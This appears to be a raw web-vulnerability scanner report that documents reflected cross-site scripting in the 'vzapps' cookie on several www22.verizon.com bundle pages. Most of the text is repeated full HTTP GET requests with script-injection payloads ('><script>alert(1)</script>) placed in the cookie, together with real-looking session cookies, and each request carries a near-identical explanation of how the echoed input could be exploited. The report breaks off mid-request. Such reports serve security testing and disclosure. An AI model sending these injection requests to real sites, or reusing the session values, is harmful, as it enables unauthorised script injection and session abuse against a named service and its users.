GET /residential/bundles/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2b335<script>alert(1)</script>16e9b943a7a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 632cf'><script>alert(1)</script>e25c179379a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX632cf'><script>alert(1)</script>e25c179379a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 94131'><script>alert(1)</script>d157d89b549 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 88686<script>alert(1)</script>d32df840ae1 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5d85b'><script>alert(1)</script>5082b5b050b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_dp_fi_uc/fiosbundles_dp_fi_uc.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5d85b'><script>alert(1)</script>5082b5b050b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 14cf2<script>alert(1)</script>b401d05d87d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_dp_fi_uc/fiosbundles_dp_fi_uc.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX14cf2<script>alert(1)</script>b401d05d87d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload aaf31'><script>alert(1)</script>25d17e94b9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_tp_fi_tv_extremehd/fiosbundles_tp_fi_tv_extremehd.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXaaf31'><script>alert(1)</script>25d17e94b9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 5c787<script>alert(1)</script>02d14b87cd6 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_tp_fi_tv_extremehd/fiosbundles_tp_fi_tv_extremehd.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5c787<script>alert(1)</script>02d14b87cd6; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 487d7<script>alert(1)</script>4294c013e8a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_dp.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX487d7<script>alert(1)</script>4294c013e8a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 27ecc'><script>alert(1)</script>527ab108e3c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_dp.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX27ecc'><script>alert(1)</script>527ab108e3c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8f505'><script>alert(1)</script>57006f3213b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX8f505'><script>alert(1)</script>57006f3213b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 3e91d<script>alert(1)</script>fa73302d9c7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3e91d<script>alert(1)</script>fa73302d9c7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b9b1b'><script>alert(1)</script>6c8f4a2f9aa was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb9b1b'><script>alert(1)</script>6c8f4a2f9aa; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 36e1f<script>alert(1)</script>1fa66ada761 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX36e1f<script>alert(1)</script>1fa66ada761; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 8ca98<script>alert(1)</script>beacedae802 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b72a1'><script>alert(1)</script>7fdd09743c0 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7368b'><script>alert(1)</script>b46fea3d253 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/standardBundles HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7368b'><script>alert(1)</script>b46fea3d253; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; 